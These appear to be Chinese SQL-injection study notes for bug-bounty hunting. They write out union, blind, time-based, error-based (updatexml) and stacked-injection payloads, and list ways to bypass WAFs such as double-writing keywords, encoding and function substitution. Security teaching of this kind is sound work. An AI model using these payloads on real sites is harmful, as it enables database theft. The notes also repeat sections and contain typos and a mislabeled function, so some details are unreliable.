【SRC】SQL注入漏洞
【SRC】SQL注入漏洞
hihopkc原理
SQL注入就是供助网站上不健全的SQL拼接语句,将攻击者自己的payload拼接到原有的SQL语句中,使其在服务器上执行恶意SQL语句,使得攻击者可以对数据库进行网站运营者预料之外的增、删、改、查操作。
危害
- 脱库
- 查询隐藏数据,企业对于用户数据并不会直接删除,而是通过delete等字段去控制其是否可见,这里利用的就是这一特性
- 新增管理账户
- 甚至极端条件下还可以完成getshell,获取服务器权限。
一般挖掘
1、判断是否存在注入点
?id=1/1=1发现存在注入点
1、数字型
2、/法可用
3、存在注入点
?id=1/1=1 id=1a ?id=1 e
?id=2/1=2 id=2b ?id=2 f
数字型
?id=1
?id=1+0 界面不发生改变,
?id=1+1 界面发生改变,并且直接界面变为id=2
?id=1’ 界面发生改变,数据包的长度发生改变
?id=1’ 200
?id=1” 300
?id=1’” 200
?id=1”” 300
2、构造轮子-找到可执行的函数或方法
?id=4/if(2=2,2,1) ?id=4/2=2 ?id=2 e
?id=4/if(2=1,1,1) ?id=4/1=4 ?id=4 f
if语句可以使用
?id=4/if(lenth(123)=1,1,0) 这一步证明lenth可以使用
?id=4/if(lenth(user)=1,1,0)
?id=4/if(left(‘123’,1)=1,1,0) 可以证明left语句使用
?id=4/if(left(user,1)=’a’,1,1)这一步去证明user可以使用
3、跑数据或拿权限造成进一步的危害
?id=4/if(left(user,z)=’t’,1,1)
跑两个参数
z:1-10
t:0-1 a-z A-Z
if+sellp
user第一个字母为a 就睡眠5秒
a、v、u都睡眠5秒
?id=2/if(left(‘123’,1)=1’,1,2)
?id=2/1
?id=2/2
?id=2/if(1=1,1,2)
判断是否存在注入点
基于错误
在参数后添加单引号或双引号甚至+
~
*
/
等形式,返回包直接显示数据库的语句错误或与数据库相关的
信息,这种情况值得研究,很有可能出货
select * where id=1+1
例:id=1+1 select * where id=1+1
基于内容
基于内容的判断,一般与+
~
*
/
有关系
比如,id=1 显示a界面
而id=1+1显示b界面
这里100%就有注入,当然id=1+1是正常的界面
id=1
基于内容判断注入点也可以和f语句搭配,如if(1=1,1,0)
?id=1
?id=if(1=1,1,0)
上述两者是相同的回显,此情况下100%也是存在SQL注入的
基于时间
?id=1+and+sleep(10) 页面成功回显且睡眠10秒那么也是证明存在注入点的
?id=if(1=1,sleep(10),1)
sleep(10)函数:执行此函数会导致页面睡眠10秒
?id=1+and+sleep(10),若函数执行成功,页面会睡眠10秒
?id=if(1=1,sleep(10),1)
1=1判断为真,返回为sleep(10)
若判断为假,则返回为1,即?id=1
判断数据库类型,能帮忙选择函数构造轮子
端口判断
- Oracle:1521
- mssql:1433
- Mysql:3306
- eletricsearch:9200
- redis:6379
系统架构
- asp:SQL Server, Access
- .net:SQL Server
- php:Mysql,PostgreSql
- java:Oracle,Mysql
报错信息判断
- ORACLE
ORA-00933:SQLcommand not properly ended
- MS-SQL
Msg 170,level 15,State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo
- MYSQL
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ at line 1
借助工具判断
sqlmap
借助注释符号
“#” MySQL
“null”和“%00” Access
“–” Oracle和MSSQL支持的注释符
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库
借助函数判断
len和lenth
mssql和mysql,len()函数
oracle length()
@@version和version()
mysql 两者都可
mssql @@version
substring substr
oracle substr
mssql substring
SQL注入分类
从注入参数类型分:
数字型注入、字符型注入
从注入效果分:
报错注入、布尔注入、延时注入、联合注入、堆叠注入、宽字节注入
从提交方式分:
GET注入、POST注入、HTTP头注入、COOKIE注入
数字型
https://blog.csdn.net/wangyuxiang946/article/details/122996953
后台对应的SQL如下,字段类型是数值型,这种就是数值型注入
select * from user where id =1;
?id=1’ “
?id=1+1肯定就是数字型
?id=1’a
?id=1b
?id=1”b 字符型的
字符型注入
https://blog.csdn.net/wangyuxiang946/article/details/122996953
参数为字符
比如:输入的用户名和密码是字符串
提交方式分
https://blog.csdn.net/wangyuxiang946/article/details/122996953
GET注入:使用get请求提交数据,比如xxx.php?id=1
POST注入:使用post请求提交数据,比如表单。
Cookie注入:使用Cookie的某个字段提交数据,比如在Cookie中保存用户信息。
HTTP Header注入:使用请求头提交数据,比如检测HTTP中的源地址、主机IP等
根据页面回显分
https://blog.csdn.net/wangyuxiang946/article/details/122996953
显注:前端页面可以回显用户信息,比如联合注入、报错注入。
盲注:前端页面不能回显用户信息,比如布尔盲注、时间盲注。sleep(3)
联合注入
可合并多个查询的结果的合集,顾名思义,就是将一个表追加到另一个表后,从而实现查询结果组合在一起
在URL的参数位置中,将构造的语句注入到参数位置中
select (原始查询内容) union select (构造的内容)
Select from users where id=(“-1”)union select 1,2,database()–+
前提条件
①存在注入点,即未被过滤
②有显示位,即能回显结果
③两表列数相同,即order by或union select去判断列数
④数据类型相同
利用
1、判断是否存在注入点
(1)在参数位置修改参数值,eg:id=1修改为2后是否数据改变
(2)插入单、双引号的检测方法(常用),未闭合的单引号会引起 SQL语句单引号未闭合的错误提示
2、判断注入点还是整形或字符型-语句闭环
(1)数字型:通过 and 1=1
(2)字符串型:闭合单引号测试语句 ‘and’1’=’1 进行判断
3、判断查询列数
orderby 或union select
4、判断显示位
报错回显,用不存在的id=-1 加上 union select….
或者 and1=2 加上 union select..
布尔注入
当不知道数据库返回值的情况下时【无回显】
输入 1’and ‘1’=’1和1’and ‘1’=’2显示不一样,仅返回正确、或者错误的页面时,存在布尔型盲注入。
原理:假设1’为真,则:
1’and’1’=’1 为真 返回正确的界面 ‘1’and’1’=’1’
1’and’1’=’2 为假 返回错误的界面 ‘1’and’1’=’2’
布尔型注入涉及函数
所涉及的函数:
①if() if(条件,结果1,结果2)如果条件成立,则输出结果1,否则输出结果 2
②字符串截取函数:SUBSTRING(参数1,参数 2,参数 3)left right
参数 1:字符串
参数 2:开始截取的第几个字符
参数 3:截取的长度
?id=1and if(SUBSTRING(database(),1,1)=’d’,1,0)–+
截断 database()的第一个字符,并判断,若=d,则返回1,错误,返回 0
③获取长度函数:length()
通过构造以上函数可得:
if(SUBSTRING(参数 1,参数 2,参数 3),结果 1.结果 2)
if(length(),结果 1,结果 2)
相当于进行一个判断,判断成功为yes,错误为 no,可根据判断输入攻击性代码 得到数据
时间盲注
界面返回值只有一种,true 无论输入任何值返回情况都会按正常的来处理。
加入特定的时间函数,通过查看 web 页面返回的时间差来判断注入的语句是否正确。(BURP)
时间盲注与布尔盲注类似。时间型盲注就是利用时间函数的延迟特性来判断注入语句是否执行成功。
判定条件
什么情况下考虑使用时间盲注?
1.无法确定参数的传入类型。整型,加单引号,加双引号返回结果都一样2.不会回显注入语句执行结果,故无法使用 UNION 注入
3.不会显示报错信息,故无法使用报错注入
4.符合盲注的特征,但不属于布尔型盲注
时间盲注与布尔盲注区别
时间盲注根据页面返回的时间差判断
布尔盲注根据 yes 或 no 来判断
常用函数
sleep(n):将程序挂起一段时间n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句。
使用 sleep()函数和if()函数: and(if(ascii(substr(database(),1,1))>100,sleep(10),null)
如果返回正确则页面会停顿 10秒,返回错误则会立马返回。只有指定条件的记录存在时才会停止指定的秒数
报错注入
定义
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中
前提
页面上没有显示位,但是必须有SQL语句执行错误的信息
优缺点
1、优点:不需要显示位,如果有显示位建议使用uion联合查询。
2、缺点:需要有SQL语句的报错信息。
基本步骤
①构造目标查询语句;
②选择报错注入函数;
③构造报错注入语句;
④拼接报错注入语句;
报错注入函数
floor();
extractvalue();
updatexml();
geometrycollection();
multipoint();
polygon();
multipolygon();
linestring();
multilinestring();
exp();
报错注入函数详解
①利用floor0函数进行报错注入
语法:UPDATEXML(xml_document,XPathstring,new_value)。
第一个参数:xml_document,文档名称。
第二个参数:XPathstring(Xpath格式的字符串),做内容定位。
第三个参数:new_value,String格式,替换查找到的符合条件的值。
!注意:一次返回值最大为32位,当数据库名大于32,需要结合其他方式使用(可以使用substr(());
Payload
http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili'and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+&submit=
Updatexml(1,concat(0x7e,database(),0x7e),1)
堆叠注入
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query()支持多条 sql语句同时执行,就是个;
分隔,成堆的执行sql语句
1 | select * from users;show databases; |
就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到 API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条 sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条 sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是 mysqli_query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
waf绕过
waf的定义
WAF(Web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。通俗来说就是WAF产品里集成了一定的检测规则,会对每个请求的内容根据生成的规则进行检测并对不符合安全规则的作出对应的防御处理,从而保证Web应用的安全性与合法性。
处置流程
预处理、规则检测、处理模块、日志记录
预处理:
预处理阶段首先在接收到数据请求流量时会先判断是否为HTTP/HTTPS请求,之后会查看此URL请求是否在白名单之内,如果该URL请求在白名单列表里,直接交给后端Wb服务器进行响应处理,对于不在白名单之内的对数据包解析后进入到规则检测部分
规则检测:
每一种WAF产品都有自己独特的检测规则体系,解析后的数据包会进入到检测体系中进行规则匹配,检查该数据请求是否符合规则,识别出恶意攻击行为。
处理模块:
针对不同的检测结果,处理模块会做出不同的安全防御动作,如果符合规则则交给后端Web服务器进行响应处理,对于不符合规则的请求会执行相关的阻断、记录、告警处理。
日志记录:
WAF在处理的过程中也会将拦截处理的日志记录下来,方便用户在后续中可以进行日志查看分析。
判断waf的品牌
1、判断是什么类型的waf是第一步
根据类型,可以选择payload,或者之前的积累,常见的waf
https://www.wangan.com/p/11v71302b8c5ab87
云waf
云 WAF 主要利用 DNS 技术,通过移交域名解析权来实现安全防护,用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器。
1、阿里云盾
2、腾讯 T-Sec Wb 应用防火墙
https://cloud.tencent.com/product/waf
3、华为 Web 应用防火墙 WAF
https://www.huaweicloud.com/product/waf.html
4、安恒云 - Web 应用防火墙(玄武盾)平台
https://www.dbappsecurity.com.cn/product/cloud119.html
5、百度云应用防火墙 WAF
https://cloud.baidu.com/product/waf.html
6、华为云 - 云防火墙 CFW
https://www.huaweicloud.com/product/cfw.html
7、安全狗云御 WEB 应用防护系统
https://www.safedog.cn/index/wafIndex.html
8、知道创宇 - 创宇盾 Web 应用防火墙
https://defense.yunaq.com/cyd/
9、F5 分布式云 WAF
https://www.f5.com.cn/cloud/products/distributed-cloud-waf
10、奇安信网站卫士
11、360 磐云
https://wangzhan.360.cn/panyun
12、网宿 Web 应用防火墙
https://www.wangsu.com/product/52
13、奇安信网神 WEB 应用安全云防护系统(安域)
https://www.qianxin.com/product/detail/pid/400
14、腾讯云 WAF
16、腾讯门神
17、绿盟网站云防护
https://www.nsfocus.com.cn/html/2020/458_0107/108.html
18、启明星辰虚拟化 WAF
https://www.venustech.com.cn/new_type/xnWAF/
19、深信服云 Web 应用防火墙云 WAF
https://www.sangfor.com.cn/product-and-solution/sangfor-security/yun-web
20、瑞数动态 Web 应用防火墙(River Safeplus)
https://www.riversecurity.com/product-Safeplus.shtml
硬件 WAF
硬件 WAF 通常部署在 Web 服务器之前,过滤所有外部访问流量,并对请求包进行解析,通过安全规则库的攻击规则进行匹配,识别异常并进行请求阻断。
常见产品:
1、安恒明御 Web 应用防火墙
https://www.dbappsecurity.com.cn/product/cloud150.html
2、长亭雷池 (SafeLine) 下一 代 Web 应用防火墙
https://www.chaitin.cn/zh/safeline
3、铱迅 Web 应用防护系统
https://www.yxlink.com/index_product_index.html
4、绿盟 Web 应用防护系统
https://www.nsfocus.com.cn/html/2019/206_0911/6.html
5、远江盛邦 Web 应用防护系统 (RayWAF)
https://www.webray.com.cn/channel/RayWAF.html
6、天融信 Web 应用安全防护系统 (TopWAF)
https://www.topsec.com.cn/product/25.html
7、深信服 Web 应用防火墙 WAF
https://www.sangfor.com.cn/product-and-solution/sangfor-security/waf
8、启明天清 Web 应用安全网关
https://www.venustech.com.cn/new_type/Webyyfhq/
9、E5 Advanced WAF (API 安全 - 新一代 WAF)
https://www.f5.com.cn/products/security/advanced-waf
软件 WAF
软件 WAF 安装在需要防护的服务器上,通过监听端口或以 Web 容器扩展方式进行请求检测和阻断。
1、网站安全狗
2、云锁
3、D 盾
4、网防 G01
5、护卫神
6、智创
7、UPUPW
https://www.upupw.net/versions/
8、宝塔网站防火墙
9、360 网站卫视
10、悬镜
11、安骑士
https://help.aliyun.com/product/28449.html
waf绕过思路(云息信安)
双写绕过
union+select
unionunion+selectselect
等号 like 绕过(很常见的)
有些开发修复 就是简单的禁用了一些函数 = like ‘ “ + , left
用like替换掉等于号
and/or 绕过
替代字符:
- and 等于&&
- or 等于‖
- not 等于 !
- xor 等于 |
目前主流的 waf 都会对
- id=1 and 1=2
- id=1 or 1=2
- id=0 or 1=2
- id=0 xor 1=1 limit 1
- id=1 xor 1=2
对这些常见的 SQL 注入检测语句进行拦截,像 and 这些还有字符代替
字符如下:
- and 等于&&
- or 等于‖
- not等于!
- xor 等于 |
所以可以转换成这样:
id=1 and 1=1等于id=1 && 1=1
id=1 and 1=2等于id=1 && 1=2
id=1 or 1=1 等于id=1 || 1=1
id=0 or 1=0 等于id=0 ‖ 1=0
in
in 运算符用来判断表达式的值是否位于给出的列表中;如果是 返回值为1,否则返回值为0;
not in
NOTIN 用来判断表达式的值是否不存在于给出的列表中;如果不是 返回值为 1,否则返回值为0;
大小写绕过
select
SeleCT
逗号绕过
substr(database(),1,1) -> substr(database() from 1 for 1) ;
limit 0,1 -> limit 1 offset 0
等效函数替换绕过(很常见的)
substr ->mid left right 尝试进行等效函数替换
ascii 编码绕过(很常见的)
1+and+substr(database(),1,1)%3d’q’+%23
1+and+ascii(substr(database(),1,1))%3d123+%23
当使用ascii编码,然后再进行对比时,页面出现了内容,说明当前数据库的库名是113,解码后是q
为什么编码可以绕过的
有些网站还是 WAF 会存在一个自动解析
WAF 自动解析
二次编码绕过(很推荐)
两次 url 编码
1 | -1 union select 1,2,3,4# |
测试思路
判读是否存在注入点 或者挖掘 SQL注入的核心是什么
“变”是挖掘 SQL注入核心
变
1、你变(变姿势)
2、页面变(页面的变化) -报错(页面直接的报错、SQL语句的报错)、时间注入(页面的时间发生改变,响应时间发生改变)、返回包会携带一些细微的变化(有些可能只是细微的字符)
waf 它有些是自动拦截的 像雷池 就是自动拦截 拦截方式(自动拦截 + 手动拦截)
’
"
自动认为你是恶意攻击 所以你也判断不了
你有可能会以为是你SQL注入成功了对面才拦截你
其实不然 它是自动拦截的
1、判断是否存在注入点(数字型、字符型)
?id=1/1=1发现存在注入点
[1、数字型 2、/法可用 3、存在注入点]
?id=1/1=1 id=1 a ?id=1
?id=2/1=2 id=2 b ?id=2
/
+
-
数字型的
如果是'
"
很有可能就是字符型的
‘)
“)
2、构造轮子-找到可执行的函数或方法
?id=4/4 可以使用?id=4/4 和?id=1是差不多的效果 那么很可能是有注入点的
?id=4/if(2=2,2,1)?id=4/2=2?id=2 e
?id=4/if(2=1,1,1)?id=4/1=4?id=4 f
if语句可以使用
?id=4/if(lenth(123)=1,1,0)
?id=4/if(lenth(user)=1,1,0) if lenth s=user
?id=4/if(left(‘123’,1)=1,1,0) 可以证明 left 语句使用
?id=4/if(left(user,1)=’a’,1,1) 这一步去证明 user 可以使用
3、跑数据或拿权限造成进一步的危害
?id=4/if(left(user,z)=’t’,1,1)
跑两个参数
z:1-10
t:0-1 a-z A-Z
if+sleep
user 第一个字母为a 就睡眠5秒
a、v、u 都睡眠5秒
?id=2/if(left(‘123’,1)=’1’,1,2)
?id=2/1
?id=2/2
?id=2/if(1=1,1.2)